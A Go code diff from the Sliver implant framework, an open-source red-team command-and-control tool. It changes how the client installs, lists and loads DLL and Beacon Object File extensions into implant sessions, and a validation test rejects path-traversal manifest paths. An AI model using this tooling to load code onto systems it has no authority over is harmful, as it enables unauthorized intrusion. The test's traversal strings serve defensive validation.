data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing command name error, got none")
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing help error, got none")
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files error, got none")
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileOS)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.os error, got none")
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileArch)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.arch error, got none")
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: "",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
|
||||
invalidPaths := []string{
|
||||
"../../../../../",
|
||||
"/../../../../..",
|
||||
".",
|
||||
"/",
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: invalidPath,
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath2)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,174 +0,0 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
+148
-182
@@ -1,23 +1,5 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
@@ -30,47 +12,38 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
// ManifestFileName - Extension manifest file name
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
var commandMap map[string]extensionCommand
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Help string `json:"help"`
|
||||
Files []extensionFiles `json:"extFiles"`
|
||||
Arguments []extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"dependsOn"`
|
||||
Init string `json:"init"`
|
||||
Path string
|
||||
}
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
type extensionFiles struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
@@ -80,98 +53,66 @@ type extensionArgument struct {
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("extension file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
return
|
||||
}
|
||||
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
|
||||
for _, extCmd := range extCmds {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
continue
|
||||
}
|
||||
RegisterExtensionCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
|
||||
manifestPath := filepath.Join(extPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
extensionsCmds := make([]*extensionCommand, 0)
|
||||
err = json.Unmarshal(jsonBytes, &extensionsCmds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
for _, extCmd := range extensionsCmds {
|
||||
extCmd.Path = extPath
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
}
|
||||
return extensionsCmds, nil
|
||||
}
|
||||
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -180,11 +121,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
@@ -214,26 +155,53 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Try to find the extension in the loaded extensions
|
||||
if checkCache {
|
||||
if len(session.Extensions) == 0 {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
@@ -249,7 +217,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
@@ -259,17 +227,31 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Name: ext.Name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -282,10 +264,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := commandMap[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -293,47 +275,47 @@ func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
return registerExtension(con, &depExt, depBinData, session, ctx)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -348,23 +330,22 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
entryPoint = commandMap[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.CommandName
|
||||
extName = ext.Name
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
@@ -373,42 +354,24 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Call extension error: %s\n", err.Error())
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if callExtResp.Response != nil && callExtResp.Response.Async {
|
||||
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, callExtResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
